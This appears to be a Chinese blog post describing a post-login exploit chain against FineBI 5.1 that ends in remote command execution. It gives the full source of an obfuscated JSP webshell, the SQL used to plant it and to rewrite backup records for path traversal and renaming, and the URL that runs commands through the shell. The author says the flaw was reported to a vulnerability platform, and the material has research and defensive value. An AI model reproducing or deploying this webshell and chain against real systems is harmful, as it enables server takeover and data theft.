记一次曲折的后台getshell过程

た入场券 2023-01-02 08:23 181阅读 0赞

最近团队在对某个厂商进行测试，辛辛苦苦搞了快一个星期才拿到一个 shell，弟弟太惨了

### 0x01 开始复现 ###

访问url进入登录界面，输入管理密码进入页面

![图片][5d4aa0429b499c326467b7963f3a2beb.png]

请装作没有看到我那个失败的XSS，过了这么久也忘记了在哪里改回来了

![图片][58260a6e8fccf1c10b4ffddfd4c428ca.png]

进入页面

![图片][b5c8af5613f0ef8188e87ee1c6d568d1.png]

我这咋一看，我丢这不是和通某OA差不多吗，当初通某OA刚发的时候，全是XSS，越权，SQL注入，未授权啥的，那时候也是更上了那次风，小赚了一笔

![图片][05bf1f96dc20ec45cded8f386ca1b3b2.png]

好了，不扯皮了，正式开始复现，进入页面后，点击数据准备

![图片][0cb37dff4aa6b803b306ec25604c17a4.png]

添加一个业务包，点击进去后发现可以添加数据表

![图片][514c40d9c89941d02b502ce8a1b18cd7.png]

![图片][87c37440f09afb048588da02596fc32c.png]

再一看右上角有一个全局更新，点进入一看，我丢，数据表内容可以任意位置存放。

![图片][48214b1aec0951ec60b9d278ddabe299.png]

看到之后，心想这不就翱翔了嘛，系统管理处好像有个添加数据库连接，这波就直接在本地数据库插入一个马子，再到这里一连接，然后一添加表，再一导出，不就直接getshell啦

![图片][afa852babab3a5feeb037cd0d03c01e7.png]

直接开始操作，进入本地数据库，选择phpstudy创建数据库自带的sys数据库，进入再创建一个test表

> use sys; create table test(test varchar(2555) not null);

![图片][c76d40777dd66eaaef084efa4963f9b2.png]

在数据库中插入木马内容，因为是java环境就是插入jsp的马子

insert into test(test) values ('<%if(request.getParameter("cmd")!= null) {
    Class rt = Class.forNama(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
    Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(
    rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null),
    request.getParameter("cmd"));
    java.io.InputStream in = e.getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("");
    while((a = in.read(b)) != -1) {
        out.println(new String(b));
    }
    out.print("");}
    %>');

![图片][9e08667390f37c87016e627c7b940425.png]

回到系统中，将自己数据库添加进去，系统管理-数据连接-数据连接管理-新建数据连接

![图片][2bb2b9a5af694dbeda5ae99a1c72ddef.png]

选择mysql，添加配置

![图片][8361c092060e15efd263dd664d3c3be5.png]

![图片][d01b2f253639450a6bff2173828b6a10.png]

测试连接

![图片][bc59da168648b88728d34af21607a115.png]

回到数据准备处

![图片][514c40d9c89941d02b502ce8a1b18cd7.png]

找到我们创建的test数据库中test的数据表，确定

![图片][1814ce9c5f042c1e09cc6c92ea4a2463.png]

查看我们的马子:

![图片][5adf1e086a8409accc37f734671f2e43.png]

点击全局更新，修改下路径，注：因为路由问题，是无法直接访问的，需要放到C:\\FineBI5.1\\webapps\\webroot\\scripts路径下，但因为目录下必须为空，所以需要在前面随意添加目录，它会自动创建

![图片][46a71b00aa46b22b98d3b2f52d1b26ad.png]

点击立刻更新多维数据库

![图片][4846fd78fc525f876242abfc6e379593.png]

注：它默认会有很多数据，建议提前全部删除，我这里之前已经删了，就不搞了

查看文件是否到了指定目录，文件位置在

> C:\\FineBI5.1\\webapps\\webroot\\scripts\\admin\\db\\T\_C162F2\\super\\P-1\\S-1

下

查看文件中

![图片][89c18758d66b0d001dd0a4e4f6c765cf.png]

然后我们就发现了一个很严重的问题.....不是 jsp 后缀，这不就当场裂开了吗

![图片][e4ff1ee9b76237ab07aba6ce60cfa061.png]

但是现在就差着临门一脚，怎么可能半途放弃，现在能解决我现在就两种方法了，文件包含，和任意文件名修改了，不过java站好像没有文件包含吧，手动滑稽，现在就只能一条路了，任意文件名修改，其实的话，原本是有一个的。。。但是是我朋友先发现的，就提交给某天了，导致没得用，现在就简单的给大家看一下

![图片][61e4b5b50a2056c7f2da702d2dcb2c7f.png]

就是这个位置，任意文件名修改，用个burp抓个包改就好了，具体就不演示了，然后还有什么办法呢，想了一天之后，终于给我找到了一处可能可以的

![图片][74a153b9a1e29c012663868c7c042c97.png]

位置在：管理系统-智能运维-备份还原处

![图片][002da891c41e4978964db1dca7473c82.png]

看到左上角角落里躲着一直设置的图标，点击一下

![图片][947c02b5a11761502412a8407ea05053.png]

可以看到这又是一个任意文件存放，但是没啥用因为我们要的是任意文件名修改，所以主题不在这里，随意改一下备份路径等下好找，保持，回到页面，点击一下手动备份，名字随意

![图片][83aacc4ef9feff0efd24104d95161880.png]

现在重点来了，拿小本本记号，必考

勾选之前的备份，开启 burp，点击重命名

![图片][8f74dde762adc0063d48bd55bddd8f97.png]

![图片][dfeff971e31bdaa82d732e9d321a018a.png]

发现好像只有一个ID来判断文件，没有指定文件名，当时脑子就一晃，难道我就真的不能getshell了吗？

![图片][e3efd62f0997f98c955d6325035338b3.png]

不不不，仔细一想，它好像走的是数据库欸，然后一个ID和一个name，那么数据库中必定包含着文件路径，要不然怎么修改，对了忘记给文件路径的图片了，文件目录在

> C:\\FineBI5.1\\webapps\\webroot\\backup\\config\\manual\\

![图片][3ff29bca0451c89db33136c5bc184849.png]

这么长的路径，不管怎么说都得有个路径吧，现在就进入数据库找一找，

![图片][4ceb4dc97d2e1c71370f7138174a2645.png]

不负所望有了路径，应该只需要backupName和savePath两个参数就可以实现任意文件名修改了

![图片][fdce1418ef7eeaa69bc1a8274043aefb.png]

现在就会有人问了，怎么才能连接数据库呢，不着急且听我慢慢道来，在系统中有个管理权限，可以配置外接数据库，只要有一台外网服务器，一个符合数据库版本和允许远程登录的数据库，不就成了么

开始实现：

位置在:管理系统-系统管理-常规-外接数据库

![图片][4c80d13e1142423031f5d741ae947abd.png]

![图片][c62b8cc994fc4c6229a1698233672ce3.png]

家境贫寒没有服务器，就找个我兄弟的服务用了一下，等下和他意思意思一下就可以了，现在说一下为什么要配置外接数据库，Finebi5.1 配置了外接，内容所有数据都会存入外接数据库当中，然后....手动滑稽

![图片][89c91abc68e799bceb151a0043fa7bea.png]

注意数据库版本是被指定的

![图片][6ab218183861c5a8cca31270665f8a2e.png]

咳咳，回到正题，现在我们开始修改数据库内容，至于表怎么找到的，别问，问就是一个一个翻

update fine_backup_node set backupName="col-0-dic" where backupName='2020.12.29_10.11.24123';
    
    update fine_backup_node set savePath="../scripts/admin/db/T_C162F2/super/P-1/S-1" where savePath='../backup/config/manual';

再次查看发现已经修改成功

![图片][fec1676f451daab1db5a906522175a0e.png]

这里说一下，为什么是把文件名改为col-0-dic,而不是直接加上jsp，因为它这个是会在指定的那个路径去寻找文件，如果改为col-0-dic.jsp,就找不到文件了，所以现在就开始快乐的修改文件名环节

![图片][726104b8e4eda7276db3ffaffa8d5f7f.png]

修改数据库后，回到系统后，刷新

![图片][22aaec85b2f6db936b719131a5be5e05.png]

可以看到文件名已经修改，现在开始重命名添加上 jsp 后缀

![图片][99ec13e314c577d718ae93a0813964e3.png]

保存，到主机上查看

![图片][2d3cabeca867c87d8fe12b3d20f9fe86.png]

发现已经被修改，访问执行whoami，参数cmd，GET请求

> IP:端口/webroot/scripts/admin/db/T\_C162F2/super/P-1/S-1/col-0-dic.jsp?cmd=whoami

![图片][205373bb5aa57bac4b7aaa0cb6d02e3b.png]

成功了，历时五天六个小时，终于 getshell 了

![图片][a7ff0eacdba3e0f357417de38616767f.png]

### 0x04 结语 ###

现在就是已经拿到 shell 权限了，因为是用管理权限运行的，至少都是一个管理员权限，不就想干啥干啥了，然后其中还有很多很多挫折的，试了很多很多方法，才找到一个(果然还是我太菜)，但还是不负众望(相关漏洞已提交至某天 src)

[5d4aa0429b499c326467b7963f3a2beb.png]: /images/20221120/482b8d5f5f8342aa92bc492b511f249d.png
[58260a6e8fccf1c10b4ffddfd4c428ca.png]: /images/20221120/1a9144a02d1646878a55a1c7e370da50.png
[b5c8af5613f0ef8188e87ee1c6d568d1.png]: /images/20221120/ed0b179ab95f45129ee4e05ddb7260e4.png
[05bf1f96dc20ec45cded8f386ca1b3b2.png]: /images/20221120/1712b539859f4260aaa9e4bd9440f47b.png
[0cb37dff4aa6b803b306ec25604c17a4.png]: /images/20221120/35ead845b2144eb6828599191a3bfd5e.png
[514c40d9c89941d02b502ce8a1b18cd7.png]: /images/20221120/b317693d1f464b42b545da72273bb1dc.png
[87c37440f09afb048588da02596fc32c.png]: /images/20221120/4308542a09004817bf6658b94e8612ed.png
[48214b1aec0951ec60b9d278ddabe299.png]: /images/20221120/18cecbc1c53b4f1bb3f5dea47c2e23d1.png
[afa852babab3a5feeb037cd0d03c01e7.png]: /images/20221120/80e2350f2ff8470fafa55555b0fdd849.png
[c76d40777dd66eaaef084efa4963f9b2.png]: /images/20221120/de55639cb5a24fd2af5c5730ff7fcea4.png
[9e08667390f37c87016e627c7b940425.png]: /images/20221120/781c337962134d49992c83644aac72ca.png
[2bb2b9a5af694dbeda5ae99a1c72ddef.png]: /images/20221120/468a2fd69499417c911cce782feb8b76.png
[8361c092060e15efd263dd664d3c3be5.png]: /images/20221120/7c00e3b7d19142bba382377e422e5fd9.png
[d01b2f253639450a6bff2173828b6a10.png]: /images/20221120/feba08dd11414a14a2125049ea31149c.png
[bc59da168648b88728d34af21607a115.png]: /images/20221120/4e9a64fa48194fbdb6864e1cba536ba7.png
[1814ce9c5f042c1e09cc6c92ea4a2463.png]: /images/20221120/c059e032247d4fa0bf792e325b9f70b9.png
[5adf1e086a8409accc37f734671f2e43.png]: /images/20221120/677444c4f3da4a85bb80f3d3dbfb5ec9.png
[46a71b00aa46b22b98d3b2f52d1b26ad.png]: /images/20221120/c34d994b242c4448a48b19c40d9449b1.png
[4846fd78fc525f876242abfc6e379593.png]: /images/20221120/04a4f177d1764eb08afaf905a2ae634f.png
[89c18758d66b0d001dd0a4e4f6c765cf.png]: /images/20221120/3175efa42d64411793e7696c72c816be.png
[e4ff1ee9b76237ab07aba6ce60cfa061.png]: /images/20221120/8a086bbf4bac460c980ba1f821295cdd.png
[61e4b5b50a2056c7f2da702d2dcb2c7f.png]: /images/20221120/2d1e625c59ad4835bf611950f1044e7f.png
[74a153b9a1e29c012663868c7c042c97.png]: /images/20221120/834ab261087f420fa1305c9f63d2ed9d.png
[002da891c41e4978964db1dca7473c82.png]: /images/20221120/59129f83cbda4a22863a817e58d8f6aa.png
[947c02b5a11761502412a8407ea05053.png]: /images/20221120/4474f503a93e4510b2cba9fe0d468063.png
[83aacc4ef9feff0efd24104d95161880.png]: /images/20221120/791ea7cfe2314b73a4cb21fb20dd1327.png
[8f74dde762adc0063d48bd55bddd8f97.png]: /images/20221120/a834c1032705474b9db3cd18e29586c4.png
[dfeff971e31bdaa82d732e9d321a018a.png]: /images/20221120/65983f2270a147b7aceab943f2bd6996.png
[e3efd62f0997f98c955d6325035338b3.png]: /images/20221120/dd97e4e1f7394ee79705c0f1898030af.png
[3ff29bca0451c89db33136c5bc184849.png]: /images/20221120/160365b1c3684106aba30f4550c821a5.png
[4ceb4dc97d2e1c71370f7138174a2645.png]: /images/20221120/afc9113a14ab4b91b20abea6b4067a5a.png
[fdce1418ef7eeaa69bc1a8274043aefb.png]: /images/20221120/7c34aa271de34335a06616e28b8f6be0.png
[4c80d13e1142423031f5d741ae947abd.png]: /images/20221120/540c4a54f95347eda931dd36f54745a5.png
[c62b8cc994fc4c6229a1698233672ce3.png]: /images/20221120/a7cf8a70a08f431caa7ffc717d9951dd.png
[89c91abc68e799bceb151a0043fa7bea.png]: /images/20221120/28b37015d24a4ba19117e62453b4926e.png
[6ab218183861c5a8cca31270665f8a2e.png]: /images/20221120/fcacb8692a4d40698d03a1d77589e366.png
[fec1676f451daab1db5a906522175a0e.png]: /images/20221120/89a1cdb18ab94f2d8d8db2f8a95771c1.png
[726104b8e4eda7276db3ffaffa8d5f7f.png]: /images/20221120/4dcdaba4804149bfa2081286e96c1f74.png
[22aaec85b2f6db936b719131a5be5e05.png]: /images/20221120/af35406946bd44d7a4fc21de22c321bf.png
[99ec13e314c577d718ae93a0813964e3.png]: /images/20221120/10787f12c5b54eec9c2a76d405f60898.png
[2d3cabeca867c87d8fe12b3d20f9fe86.png]: /images/20221120/d760ec455e4444689f884a2a3d330b0e.png
[205373bb5aa57bac4b7aaa0cb6d02e3b.png]: /images/20221120/63366fb989884d76b77ee53c2b9e6828.png
[a7ff0eacdba3e0f357417de38616767f.png]: /images/20221120/73d4e13511814529b47bcc19aaed635a.png